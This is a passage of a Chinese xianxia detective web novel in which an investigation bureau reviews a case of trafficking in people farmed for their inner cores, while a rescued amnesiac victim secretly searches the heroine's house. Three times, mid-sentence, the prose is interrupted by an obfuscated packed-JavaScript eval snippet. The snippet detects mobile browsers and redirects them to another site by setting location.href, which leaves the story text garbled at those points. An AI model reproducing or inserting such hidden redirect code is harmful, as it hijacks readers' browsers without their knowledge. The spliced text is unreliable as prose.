“诶,宁霄?!快进来!”吴组长冲她招了招手,霎时六房中所有人的目光就全都集中到了宁霄的身上。 吴季旸拉着宁霄靠近议事桌,给秦荣介绍道:“秦队,她就是宁霄,也是这次丹奴交易案的报案人。” 宁霄点头回应,余光却注意到了桌上放的东西,正是前天晚上自己参与的那个案子的详细信息。 原来,阿远的案子已经被分派给了六队处理,之前宁霄他们忙前忙后只是粗略走了个流程,案件并没有被解决,只好上报,按流程分给了小队。 “宁霄,来,坐。”秦荣一发话,周围的人立刻整肃了不少,“临时叫你过来是因为这个案子在处理过程中遇到了困难,因为大家都不是当事人,买家也是随后才抵达的交易现场,所以需要你来协助办案。” 秦荣甚至不等宁霄走流程表忠心,直接指使一旁的人开始简述案件的推勘情况。 “根据之前的案验,买家杨茂全是经人介绍认识的‘袁四’,此次交易是他第一次购买丹奴,之前与袁四交易主要是购买内丹,根据他的招供,他在此前从未见过卖家袁四,这是第一次见面,并且袁四在与他交谈时还戴着兜帽,并没有看清楚他的脸。 “根据这些信息不难看出,袁四所掌握的丹奴、内丹买卖是有很大规模的,买卖流程非常严格,杨茂全这次通过购买丹奴,也算是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999279|193945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进入了相对内部的圈子,可以与藏头露尾的袁四见面了。” “晓晨,”秦荣抬手中断了介绍,“买家是经由什么人认识的卖家?” “牵线人是杨茂全赌场认识的赌友,名唤江春明,为了抵押赌金才把袁四的买卖介绍给了杨,根据排查,此人去年已经因为欠债被人打死了,此案已经从卷案中查到,情况属实。” “嗯,”秦荣点头表示了解,“万一没有别的线索,后续就派人去查这个赌鬼,继续吧。” “根据杨茂全供述,他联系袁四的方式主要是通过主城区西南方位的一个交易市集,百姓普遍称呼为‘黑市’的地方发布悬赏进行,据说,他的悬赏内容的暗语是“小飞鼠”,每次他发布悬赏,袁四就会知晓,并提供给他交易的安排。” 秦荣再次抬手中断了他的介绍,问道:“现在黑市还有类似的悬赏吗?” “这个杨茂全有交代,”晓晨一边解释一边从桌上翻找记录,递给了秦荣,“他们每个顾客的暗语都不同,顾客之间也互不知晓,可见卖家的谨慎,而且这次抓捕任务直接对上了袁四,再发布悬赏恐怕就没法引蛇出洞了。” 秦荣的提问刚好说中宁霄的想法,因此听得非常顺畅。 旁边的吴季旸忽然凑近低声解释道:“秦队也才刚接手案子不久,这一屋子除了六队的人以外还有一开始案件的经手人,你呢也仔细听听,万一有他们遗漏的重要线索,你可算是立功了。” 宁霄明白他的意思,对在场所有人的发言都听得非常认真。 “秦队,杨茂全这边的基本信息就是这样了。” 晓晨说罢,秦荣又指了个姑娘继续说。 只见这位被唤作文瑾的姑娘身材壮实,表情凝重,腰间还挂着一串叮叮当当的钥匙,果不其然,是专门负责看管地牢的缉凶使,也是钥匙都没顾上摘就被秦荣给叫来了。 “禀报秦队,前天晚上被投入地牢的两名嫌犯在今日巳时于牢中自尽,根据勘验,死因是体内毒发,具体是什么毒还需要等待对比结果。” 吴季旸又忍不住凑过来低声道:“就是因为这个突发情况,案子才这么快上报的,我猜啊……” 话还没说完,秦荣就看向了宁霄,指示道:“宁霄,说一下你所了解的细节吧,主要是关于袁四的样貌特征等,听说嫌犯是你首先发现的。” “是!”宁霄还是第一次参加这么严肃的案情讨论,不由得有些紧张。 “我在事发区域听到力夫搬运重物的声音后,出于好奇跟着他们到了交易地点,五口箱子、十个力夫、两个佩剑护卫,为首一个披着深褐色斗篷的人,也就是杨茂全口中的‘袁四’。 “他身长大约七尺半,人很瘦,但有兜帽遮挡,在交手的过程中我只看到了他的下半张脸,下巴宽而上翘,胡子花白,鼻头低悬,鼻翼外翻。” “嗯……”宁霄双手用力握着,仔细回想着自己看到的每一处细节,“他的左手拇指好像偏短,是天生的还是有缺失我不太确定,只是闪了一眼。” “好,下一个……”秦荣环顾一圈,“老许呢?” 宁霄茫然四顾,忍不住偏头看向吴季旸,问道:“吴组长,老许是?” “缉凶司的宝贝你都不知道?!”见她思索半天依旧是愁眉不展,吴季旸也不吊着她了,“缉凶司内唯一一名神目,恐怕也是修界,哦不!是全天下唯一一名神目!” 5. 丹奴(五) 宁霄努力从脑海中寻觅着自己听过的传言,忽然眼睛一亮,道:“难道,是那个可以看得见法力的人?!” “没错!自从他来到缉凶司,每年积压的案子数量比往年少了整整三倍!”吴季旸的语气激昂,仿佛那世间唯一的奇才是他自己似的。 宁霄闻言点了点头,喃喃自语道:“难怪叫‘神目’,果真像是神的眼睛。” 就在二人低声之时,六房的门忽然被人推开了。 先踏进屋中的人看起来四十岁上下,头发中零星有几根白发,穿着最普通的灰蓝色布衣,身形微微有些佝偻,神情和善,若不是屋子里大部分的人都自动起身迎他,宁霄都差点以为他是个误闯的普通教书先生。 在他的身后,还跟着一名普通的缉凶使,正一手扶着门,一手夹着一叠纸张,紧紧跟随在侧。 宁霄跟着大家起身,待前面那人走近些才发现,他的眼珠发灰,却并不浑浊,反而如琉璃般清透,眼底的灰色中甚至闪过几丝难以察觉的色彩。 “老许,你来得正好,”秦荣邀请他坐到了自己旁边,“我们正在回顾那个丹奴买卖的案子,你也说一下你这边的情况吧。” 许闻楼有些漫无目的似的看着周遭的人,身旁的缉凶使立刻翻动手中的纸张,一一分发给了秦荣以及她身旁的一些人,却唯独没有给老许。 “好,我现在简单说一下昨天的观察情况。”许闻楼两手交握,坐得板正,说话的同时眼睛还在屋中逡巡,直勾勾去看在场的人。 然而却没有一个人对此感到不适,视若无睹般该对视对视,该做事做事。 等到那双眼睛和宁霄对视时,她才察觉到了异常之处——那双眼睛里根本没有任何波澜! “根据当天在场与逃犯交手过的人的指认,我在那个院子的西北角发现了比较浅的法力痕迹,根据大家的说法,逃犯是撒了一把浓烟逃跑的,据我判断,烟雾应该是带了一些术法,而非法力。” 面对宁霄小心翼翼的窥视,许闻楼毫无波动,依旧是一边说话一边环顾屋中的众人。 “逃犯最后跃起,我猜根本不是想直接逃走,而是想要借助浓雾隐藏自己的真实逃跑路线,最终,我从院外一棵树上勉强看到了一点点痕迹,而烟雾所包含的术法痕迹最后指向了北面,应该能证明逃犯的撤离路线。” 话毕,另一位缉凶使立刻补充道:“那个区域没什么目击者,辖区分署目前还没有袁四的踪迹消息。” “确实很狡猾啊……”秦荣感慨着,认真翻着手上的文书,“大家看看还有没有别的物证需要汇报的。” 正说着,她忽然从手中的文书里抽出了一张画纸。 “这个是……” 画纸的背面透出了个巴掌大的三角,旁边还写着几个字。 宁霄还没看清楚呢,就有一个年轻人将一个扁盒子推到了议事桌中间,他一手捞起脖子上挂着的单片琉璃镜戴上,一手则把盖子给打开了。 只消一眼,宁霄便认出了里面的东西,那是黄符一角,形状和秦荣手中画纸上的三角如出一辙。 果然,年轻人立刻介绍道:“此物是在装受害者的箱子的封口处发现的,应该是用来封印的,当时因为救人心切,我与在场的几位同僚一起破开了封印,并没有保留完整的符纸,昨天在交易现场只找到了这一角没烧完的残片。” “不过符纸的材质比较特殊,纸张柔软,相比普通的纸来说是有些厚的,还能摸到絮状纹理。”说着,他将纸张推向秦荣。 一听这个,大家都来了兴致,忍不住凑过去观察。 “那岂不是可以找到纸张的售卖源头,并且找到买方?” “万一这纸张是袁四他们内部自己做的呢?” “自己做的又如何,只要他敢贴在‘货物’上拿去交易,就一定能从市面上找到线索!” …… 宁霄站在外围,伸长脖子看了看画纸上的内容,可惜那块三角残片上没有留下任何笔迹,什么都看不出,她不禁开始对比自己当时看到的符纸,试图回忆起符纸上的内容。 秦荣伸手摸了摸符纸一角,又将盒子推给了许闻楼,然而他摆手拒绝,只是一双眼睛仔细地盯着碎片,眉头微蹙。 符纸碎片在桌上慢慢传递,提交证物的人又继续道:“我记得那些符纸的内容很是奇特,中间和尾部比较复杂,头部却很简洁,我凭借记忆画了个大概得轮廓,秦队可以看一下下一张。” “当天在场的缉凶使,凡是看到过符纸的人都在现场,我希望大家可以回忆一下,那些符纸的内容有什么特别之处。” 随即,几个站在外围的缉凶使便磕磕巴巴回忆自己所见到的符纸内容,连说带比划最后还是坐下开始画图了,然而除了轮廓,没一点可供参考的部分。 大家盯着那几张“墨宝”抓耳挠腮,甚至连亲眼看过符纸的人都互相争辩起来。 明知是个重要证物,却被自己亲手给毁了,懊恼中还透着些许怨恨。 一个上了年纪的缉凶使咂咂嘴,很是不满,道:“要我说啊,就该把箱子带回来再开,符文特殊,必然是重大线索,肯定能顺藤摸瓜找到逃犯的老巢!” “前辈,当时情况紧急,我们哪里顾得上那些,听说箱子里面关着人,我们可是一点不敢耽搁!” “是啊是啊,而且当时天色那么暗,谁会特地关注符纸的材质和笔迹细节呢?” …… 作为本次案子的领袖,秦荣虽然在首位上不动如山,可眉心确是越蹙越紧,在房间内的讨论声越来越大几乎要掀翻屋顶时,她拍了拍桌子,让大家都静了下来。 “你们几个接下来重点商讨一下符纸的内容究竟是什么,最好把关键性的、想法一致的部分确定好,到时候交给我。”秦荣吩咐完,又看向许闻楼,“老许,你有看出什么吗?” 许闻楼摸了摸短须,眼睛已经盯在物证上,道:“法力痕迹比较混杂,有罪犯方面的,也有我们的人破坏时留下的痕迹,我得把东西拿回去再观察观察,随后再跟大家去黑市看能不能找到相似的痕迹。” 刚才还在责怪别人破坏符纸的老男人此时又恹恹道:“老许都分辨不出的痕迹,靠着这么一小片碎纸,那不是大海捞针吗?还不如把案子继续上报,扩大办案的人手呢。” 虽然这话是在泼冷水,但在场的人又不得不承认,他泼得对,泼得准。连刚才顶嘴的几个人都不说话了,只一味喘着粗气,让房间里的气氛更加烦躁。 “好了,都别说了,”秦荣有些不耐烦,“今天召集大家过来主要是集中了解一下本案的所有线索,接下来该干嘛干嘛。证据错失情有可原,之后不要再争辩此事。” 她说罢翻了翻手里剩下的文书记录,吩咐道:“不参与本案的人可以先走了。” 闻言,六队以外的人陆续朝门口走去,吴季旸在路过宁霄时,见她站着不动,便用胳膊怼了怼她,小声提醒道:“诶!该走了。” 然而回神的宁霄非但不离开,反而还朝秦荣的方向走近的几步。 “队长,封印的符纸,我有些印象。” 她的声音不大,却吸引了在场所有人的注意,门口的人都已经把门推开了,此时却又默默合上了。 秦荣从纸堆中抬头,看着她,道:“说说吧。” “力夫搬运的箱子一共五口,四张黄符一张红符,我拆的就是红符所封印的箱子。符纸的材质我没有注意到,但我记得一些内容的笔画。” 她斟酌片刻,盯着桌上那个符纸残片,认真回忆道:“符头无主,符胆的内容似乎不是本地的文字,符脚画了个文字组成的头脸,笔画的最后一笔外溅了一粒墨滴,但看起来不像是故意的,应该是不够熟练。” 闻言,秦荣眼神一亮,追问道:“你看得出符文是出自哪家哪派吗?” “嗯……看起来和正统玄门的书写内容不太相像。” 那几个同样看到了符纸的人瞬间点头应和起来,对这个名不见经传的小卒啧啧称奇。 “没错没错,是她说的那样,居然没有符头!我就没见过那么奇怪的符,但试了试发现可以破开,也没多想。” “嗯嗯,我刚才就想说符脚画得像个鬼头一样,但你们都没提,我还以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999280|193945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为我看岔了。” …… “你能画得出来吗?”秦荣一发问,大家就都自动围拢了回来。 “我可以试试。” 宁霄说罢从桌上找了纸笔,思索片刻后便落笔了,她记得清的部分几乎是一气呵成,偶尔有疑虑时才会停顿一下。 片刻后,她将笔提起,在最后一笔的末尾小心点了一个微不可察的细点。 身后挤过来的目击者霎时七嘴八舌讨论起来,对着宁霄画出的符文指指点点起来。 “诶对!是这个意思,下面黑乎乎一团我还以为乱涂的呢!” “不过我感觉这张和我看到的还不太一样呢,中间比黄符复杂一些。” “对对对,我想起来了,黄符这里是这样的……” …… 宁霄画的符非常直观,直接让见过黄符的同僚回忆起了细节,抓起桌上的纸就要画,也不管要不要紧。 唯有秦荣注视着她,冲她招了招手。 宁霄立刻上前,等待指示。 “你是新人?” “回秦队,我昨天正式入职。” “你是对符箓很了解?还是……过目不忘?” “回秦队,我师傅是江湖术士,所以对符箓有些了解,当时看到红符时觉得奇特,所以多看了两眼。” 秦荣点点头,嘴角带了一丝笑意,道:“找个位置坐吧,这个案子你一并参与。” 说罢,她看了看其他人绘制的黄符内容,让人收好以后,遣散了除六队和宁霄以外的人。 负责证物的琉璃眼镜男很快呈上了另一个匣子,其中装着五条陈旧褪色的红布条。 “秦队,这是用来遮蔽受害人五感的布条,是普通的封印符文,解开后符文就消散了,这是我们拓印的符文。” 宁霄闻言也凑过去细看,一边看一边回忆自己看到的符文,然而却发现二者完全不同。 就在秦荣看完符文拓印准备揭过时,宁霄忙不迭开口道:“秦队,红符纸封印的受害人,他的红布条上符文与这些不同,我感觉和封印符的书写方式很相似,应当是统一体系的符文。” “哦?宁霄,照你看,这符文是哪门哪派的东西?” “嗯……应该可以排除目前大家所熟知的家族和门派,如果说黄符也是一样的书写思路的话,应该不属于秘符……” 正说着,负责文书介绍的晓晨就递了一份门派和家族的名单过来,宁霄从上面勾勾画画,排除掉了很大一部分的势力。 “苗淇,你们组按照宁霄圈定的范围立刻去查吧,多和老许沟通联系。” 被唤到的人立刻带着自己的手下离开了,随后,秦荣将手里的文书往后翻了翻,道:“接下来说一下受害人的情况吧。” 桌边立刻有人清了清嗓子开始汇报。 宁霄还是第一次参加这种案情梳理的议事,也是第一次旁观缉凶部门队长的办案过程,原本被日常营生折磨的身心此时竟有了一种修复舒展的感觉。 “根据受害人提供的信息,他们都是偶然间被拐走的,之后就一直被蒙着眼睛和耳朵,对嫌犯的老巢在哪并不清楚。啊,还有一名比较特殊的受害人,根据买家供述,此人的价格比别的受害人要高出两倍,并且卖家表示此人着急脱手,但因为受害人失忆,并没能得到有效的信息。” 秦荣立刻发现了线索之间的关联,问道:“是那个用红符封印的人?” 汇报人随即点头称是。 “着急出手,要价又高,交易之前甚至没有跟买家商量就着急脱手,‘货物’的特殊性也没有明说……”秦荣一边翻看手中的文书,一边读着关键信息,不由得陷入深思。 “不明说,分明是不敢说,着急出手,说明嫌犯害怕被人发现,那么这名受害者身份必然不简单,很有可能正在被家族或师门寻找。这名受害者人呢?还在司里吗?” 面对秦荣的疑问,负责汇报的人忽然支支吾吾起来,推脱说不清楚。 眼看秦荣瞪着他就要发火了,宁霄才有些尴尬地默默举起了手。 “秦队,在我家。” 6. 丹奴(六) 宁霄说罢,大家看向她的眼神瞬间变得怪怪的。 “怎么回事?”秦荣问道。 为了摆脱这种莫名的“嫌犯”感觉,宁霄赶紧解释道:“秦队,昨天听说有组长觉得受害人留在前厅会影响大家做事,受害人又不愿意去班房和救济堂,说是害怕,所以我就先带回去了。” 说罢,便见正在汇报的人紧闭双眼,满脸懊恼。 “怎么?是你发的话?”秦荣瞪了他一眼,“议事结束去写个自省书。宁霄,你明天把人带来。好了,继续吧。” 汇报人立刻如蒙大赦,头都要埋进自己面前的纸堆里去了。 “根据受害人的叙述,他们被关起来的时间里,每天会有人给他们喂药,还会有人给他们疏通经络,建设灵台,最后养出内丹后,就被带走剖丹。” “内丹都有了,不能反抗吗?” “秦队,问过了,其中有一个原本就有修炼的基础,催生出内丹后,据他描述,他似乎没有能力催动内丹,内力的流转也不靠自己,一直靠的是外力,像是进了死胡同一样。也正因如此,最后剖丹时他说自己差点疼死过去。” 宁霄还是头一次听说内丹交易这回事,在旁边听了半天只觉得猎奇和惊讶,一点有用的想法都没有。 等到议事结束,她还没把六队的四个组长认全。 离开六房后,才走出几步她就看到了拐角处的同伴,“你们怎么在这儿?” “本想偷听来着,结果什么都听不到。”罗靖撅着嘴巴很是不满。 陈平轩则顶着满头满脸的马毛急不可耐地问道:“诶诶,怎么样啊宁霄,案子什么情况啊?” “只是简述了一下案子的线索,太细节的东西……我也不好说。” “啊?!好吧……呜呜呜呜我真的不想再记录报案了啊!”罗靖哀嚎着,挂在宁霄身上“你马上当组长带我走吧!” 三人绕出回廊,从前厅离开。 正是散值的时候,不少人从存放缉凶司坐骑踏影的地方领走了自己存放的灵兽,陈平轩不由感慨道:“你们看那头白虎样的灵兽,多威风啊!” “能不威风嘛,”罗靖比了个数钱的动作,“钱就到位咯。我看呐,我能买个和踏影差不多的就不错了。” 陈平轩叹了一口气,扭头问道:“宁霄呢?打算买什么样的灵兽?” “我?好歹是个活物,看缘分吧。而且,我刚把房子买了,没钱了。” 闻言,三只穷鬼唉声叹气走出了缉凶司的大门。 - 与此同时,一整天都没离开过院子的阿远并没有闲着。 他已经将院中的大部分房间都看了个遍,此时正站在二楼中间宁霄的卧房前,小心翼翼伸出了手。 然而,他看到自己的手分明已经贴近了门,手也的确碰到了什么,可摸了半天却发现根本摸不出门上的凹凸痕迹。 为了不留下痕迹,他还是收回了手,扭头朝二楼东面最后一个房间走去。 那个房间的门缝里没有光,想来是窗户被人从里面封死了。 虽然门上还挂着细锁链,但好在没有上锁,他伸手去碰,顺利摸到了门上的花纹,于是轻轻将门往里一推。 忽然,有个东西从头顶掉了下来。 他顾不得分辨,右手画了个圈收回,左手捏决施法。 那掉落的小瓶子便停在了半空。 然而他没法放松,法力的施展令他感受到一种熟悉的血肉撕裂般的痛感。 不等他去捡起瓶子,法力已然无以为继,瓶子霎时不受控地继续朝地面落去。 顾不得疼痛,他立刻伸手朝瓶子飞扑过去。 在瓶子即将挨近地面的瞬间,他的手充当了垫子,这才没让瓶子摔碎。 “嘶!呃啊……” 他手握瓶子摔进了这间暗房,到处都堆满了各式各样的杂物,院中挨着厨房的那间屋子装着没用的旧家具,而这间暗房则放着各种瓶瓶罐罐以及武器之类的用品。 忍着疼痛将瓶子拿到眼前细看,摘掉瓶帽才发现,里面装着荧光的粉末,恐怕一旦摔落,就很难清洗了。 阿远霎时一震,不知这样简单的小机关是在防外人闯入,还是在防自己。 不等他细想,院门被推动的声音忽然响起。 他猛地翻身站起来,将瓶子回归了原位。 - 考虑到家里还放着一个人,宁霄没有在缉凶司吃饭,回来的时候顺路买了一些吃食。 一推门,一股焦糊的味道传来,厨房的窗口正冒着黑烟。 不等她动作,阿远就两手端着碗碟从堂屋出来了。 “你回来啦!”看见她的瞬间,阿远立刻笑了起来,随即又看向厨房,手忙脚乱地端着碗碟冲了过去,“诶呀!完了完了,菜肯定糊了!” 宁霄一言不发快步走到厨房窗口,一个术法过去,火光便被她扑灭了。 她走过去接过阿远手中的碗碟,随手放在了厨房窗口,上下打量了两下,语气焦急,“你没事吧?” “我没事……对不起啊,本想做饭和你一起吃的,现在,连厨房都被我弄坏了。” “人没事就好。”宁霄不由分说将他拉到了没有浓烟的地方。 说罢她又从厨房门口进去,丢了几个符箓,把火给彻底熄灭了。随后才返回门口关好院门,施了禁咒,把散落在地上的吃食拎了进来。 “我买了吃食,幸好没撒,走,去堂屋一起吃吧。” 话音刚落,院中的琉璃灯盏就自动亮起,照亮了宁霄挺拔的身形,以及阿远平静的表情。 他站在原地,看着宁霄利落的背影,有些发愣。 “阿远,别管厨房了,”堂屋里传来宁霄的声音,让呆愣在原地的阿远瞬间回了神,“一会儿散一散就好,东西凉了就不好吃了。” “好,来了。”阿远呼出一口气,换上了一副笑脸,朝堂屋走去。 虽然已经把院子买下,但宁霄并没急着给院子翻新,东西还是原模原样,能用就用。 她把冲门的椅子朝向茶桌,撤掉了装饰用的盆景和茶具,将饭菜和小食一一摆上桌,毫不顾忌地吃了起来。 见阿远举着筷子呆坐着,她还出声安慰道:“别担心,我没怎么用过厨房,烧了也没事儿。” “抱歉啊,宁霄,我在这里给你添麻烦了。” 只听宁霄哼笑出声,反问道:“麻烦吗?我怎么不觉得?” “行啦,”她夹了一块凉糕放进他碗里,又把桌上的碗碟调换了一下位置,将几个外形漂亮的吃食放到了他的面前,“吃饭最重要。你好好吃饭,吃饱,然后说好吃,我就原谅你了。” 阿远还想说些什么,喉咙却有些发紧,只好低头将面前的凉糕送进嘴里,仔仔细细地嚼。 “味道怎么样?” “嗯?”他抬起头,发现宁霄还在看他,于是用力点了点头,道:“好吃。” 宁霄话不多,只问了问他吃住如何,便只顾埋头吃饭了。 等到吃了个七七八八,宁霄才忽然开口道:“你的案子已经移交到六队了,今天我旁听了一下。” 阿远吃饭的动作一顿,“是有什么线索了吗?” “有一些,但还需要去查验核实,另外,队长特意要求我明天带你去司里协助查案。” “唔。” “你……真的什么都不记得了吗?” 阿远摇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999281|193945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了摇头,道:“我只记得到处都很黑……也不知道过了多久……我还记得,是你救了我。” 面对阿远定定的目光,宁霄下意识避开了视线,沉默片刻后,才继续道:“你毕竟是本案的受害人,有一些细节我可以告诉你。你的身份必定特殊,卖家出手时很急迫,很可能是害怕你身后的势力。” 阿远闻言并不言语,垂眸沉默着。 “阿远,你真的什么都不记得了吗?”宁霄将手肘支在桌上,身子前倾,注视着他,“你的家人朋友,家族或门派,你是怎么从什么地方,如何被他们抓获的,又遭受了什么……” 话音未落,阿远忽然抬起头,眼眶泛红,直视她的目光,声音带着几不可查的颤抖,说:“你不相信我吗?” “我也很想赶快记起来,回到我该在的地方,我也想让你们早日抓到真凶,我也不想待在这里给你添麻烦,可是……我昨晚整夜没睡,想破了头都想不起来我到底是怎么被他们抓去的。” 他越说越激动,眼泪积蓄不下,几乎要从眼眶中溢出。 宁霄见状也怀疑自己是不是太过分了,舌尖上徘徊的问询被她一股脑吞进了肚里。 干嘛非要逼他呢?明天带回司里,有的是时间问询,想到这,她忙不迭递上了手帕。 “抱歉,是我的错,不该逼你。” 阿远看着手帕,摇了摇头,眼泪即刻坠落。 也不知是太过愧疚,还是于心不忍,宁霄直接站起来倾身帮他擦掉了挂在脸颊和下巴上的泪珠。 他也不躲,就这么任由她动作。 末了,宁霄才有些尴尬似的收回了手,道:“东西我来收拾,你好好休息吧。” 说罢,她便将手帕收好,默不作声收拾起了碗筷。 做完这些,见他眼眶还泛着红,宁霄忍不住安慰道:“你也别太担心,我们一定会尽全力查案,给你一个交代的。” 闻言,凌非远眨了眨眼,垂眸点了点头。 厨房的烟早已散干净了,宁霄抱着碗筷进去,随后又回到房间把制衣换掉,才回到厨房叮叮当当开始收拾。 阿远见状,去拿了角落里的笤帚和布巾,也跟着收拾起了堂屋的桌子和地面。 然而在院中和堂屋里晃荡片刻后,他却停下了动作,默不作声地来到了二楼中间。 宁霄的卧房开着,一伸手,便触到了门上的花纹。 他立刻带着东西进去,一边清扫一边观察着四周。 卧房里的装饰非常简洁,用的大部分还是前房主留下的东西,刚刚换下的黑底银纹的制衣和佩刀整齐地挂在门口,看起来似乎并没有什么特别之处。 阿远带着布巾擦了擦桌面,将房间内的柜子也检查了一遍,都是些衣服被子之类,不见有丝毫特殊。 最后,他来到了宁霄的床边,借着擦东西的动作观察着。 就在他即将碰到床头的时候,门外忽然传来一道声音。 “阿远,我来吧。” 宁霄走路好似没有声响,他刚才甚至都没有丝毫察觉! 心跳声猛地加快,他默默收回手,调整了一下呼吸后,才慢慢转过了身。 只见宁霄神色自然,袖口挽着,手上还残留着未擦干的水迹。 “打扫辛苦了,我来吧。” 她将布巾接过,利索地把床头擦了一遍,随即将布巾还给了他,道:“谢谢你,厨房我已经清洗干净了,你也早点休息吧。” “嗯。”阿远笑着点头,面色如常,带着笤帚和布巾下了楼。 在窗边亲眼看到他放好东西回屋后,宁霄才转头来到床头,掀开被褥,将窄长的一小块床板拉开,露出了里面长条状的被黑色布袋裹着的东西。 7. 丹奴(七) 第二天,宁霄便带着阿远一起去缉凶司了。 六房早就有人到了,来来往往都在忙碌,宁霄刚来,负责寻找封印符纸的苗淇就找了过来。 宁霄只好把阿远安顿到一旁坐下,自己去跟苗淇核对符纸的事情去了。 “宁霄,来看一下,昨晚我们排查了一整夜,在黑市发现了一些类似的符文,但是顺藤摸瓜找过去,发现出售符文的是个江湖术士,这符他卖给了不少人。” 宁霄接过符纸仔细比对了半天,也有些发懵。 正在此时,秦荣也到了,大家迅速坐到议事桌边,整理着自己找到的新线索。 秦荣扫了一眼,让他们挨个发言。 苗淇先说了自己这边的情况,宁霄也根据自己的想法给出了分析。 “我观察了一下苗组长找到的这些符纸,虽然内容不同,但符胆位置的文字有些相似,我想应该再了解一下这种文字究竟出自何门何派,另外……这位江湖术士的笔法似乎要比我见到的那一张更熟练更连贯。” 苗淇也应和道:“这些符我也给老许看了,他也说上面没有嫌犯的痕迹。” 秦荣环顾一圈,问道:“老许人呢?” “还在集市里转悠呢。” “行,那苗淇你就先按照宁霄的想法去深入了解一下,看能不能找到符文的来源。”秦荣说罢,看了一眼坐在角落的阿远,问道:“他就是那个受害人?” 宁霄点头称是。 随后做汇报的是晓晨,他揣着比昨天还厚的文书,一一分发给了大家。 “文瑾今天没空,让我代为汇报。大家可以看一下文书,致那两位护卫毒发身亡的毒已经比对出来了,是一种叫做热榷的毒,之前在捷渡水寨发现过,吴组长已经带人去查了,多半是袁四从那里雇了人走镖。” “嗯,能找到身份就好说,叫他们来认领尸体,看看是谁雇佣的他们。” 秦荣说罢,又点了负责受害人相关证据的组长任彪汇报。 还没等他站起身来,人就已经烧了个脸红脖子粗,磨磨蹭蹭从文书最底下摸出了一张皱皱巴巴的纸后,就一眼一眼觑着秦荣。 “看我干什么?不是让你自省吗?就当着大家的面说吧。” 紧张严肃的案情议事氛围瞬间变得滑稽起来,宁霄倒是没觉得有什么好笑的,但作为每天亲密搭档的六队队员们,倒是个个抓耳挠腮试图隐藏自己的笑意。 没等任彪念出几句,大家就你看看我,我看看你,直接笑出了声。这笑声好似疫病,直接让六房的人笑炸锅了。 就连秦荣都抿嘴笑了起来,为了保证自己的威严,只能低下头,借着翻看文书的动作遮掩。 任彪越念声音越低,一边念还要一边对着周围人吹胡子瞪眼恐吓一番。 眼见议事会变成了滑稽会,秦荣也不再纵容了,叩了叩桌面让大家安静下来,冲扭捏的任彪道:“咳,自省文书会后交给我,先汇报你这边的调查情况吧。” 闻言,任彪如释重负,将皱皱巴巴的纸赶紧塞到了文书的最底下,清了清嗓子,开始一本正经地汇报。 “按照四位受害人的叙述,我们组和三组已经分别派人去他们被拐走的地方蹲点了,目前还没有什么发现,但正常来看,应该是跟踪或流窜作案,定点的可能性不大。” “嗯,卖家这边显然是有一个老巢,囊括了一整个完备的养丹、剖丹、出售内丹的流程,其中涉及到的人手和所需的场所物品绝不是个小数目。” 秦荣说罢,思索片刻,目光忽然移向了坐在角落里的阿远。 她亲自过去邀请阿远来到议事桌前,坐到了席间,随即态度温和地问道:“刚才就是目前案子的进展情况,你有什么遗漏的线索可以提供给我们吗?” 阿远下意识看了一眼宁霄,沉思片刻后,道:“我好像……是在郊野的一个废弃庙宇附近被抓走的。” 此话一出,大家眼神俱是一亮。 “你还记得当时的情形吗?” “嗯……”阿远蹙着眉头,努力思索着,“他们问我是不是口渴,可以去他们家打碗水喝,然后,然后我就记不清了。” 周围的人都默契地没有出声,秦荣温声细语引导着,说:“别着急,还记得是哪个庙吗?” “红房子,屋檐中间竖着个东西,高高的,庙里面……庙里面好像没有神像。” 话音刚落,戴着单片镜片的莫循就伸出了手指,低声抢答道:“在城东南!” 任彪见状立刻凑过去向他问起了位置,而秦荣仍是稳如泰山,循循善诱着问道:“记得自己的穿着打扮吗?” 阿远闻言露出了困惑的表情。 “你带着武器吗?” 他点点头,随后又对自己的答案产生了疑惑。 “好,待会儿再想,”秦荣的眼睛一直盯着他,不放过每一个细节,“记得那个邀请你喝水的人吗?是不是看起来很和善?” “唔……”阿远摇了摇头,“他黑黝黝的,看起来像……强盗?” “像是强买强卖的人对吗?眼神直勾勾盯着你,想要从你身上得到些什么……” 听到这,阿远忽然眯起了眼睛,眼神仿佛透过面前的东西望到了远处,随即喃喃道:“紫衣服,黑裤子,胡子,很瘦,手指……” 说着,他抬起左手握拳,将拇指埋进拳里,又松开来,“左手拇指很短。” 此话一出,大家纷纷看向了宁霄,这是阿远从获救到现在提供的唯一一个特殊的线索,而这个线索刚好是宁霄在上次议事时提出的,如果没有事先对过口供,那就说明抓走阿远的人就是袁四! 宁霄此时内心也如擂鼓,非常激动,见大家的目光集中过来,她当即就明白那些眼神中的疑问,于是坚定地摇了摇头,大家便都懂了,又将目光齐刷刷投向了阿远。 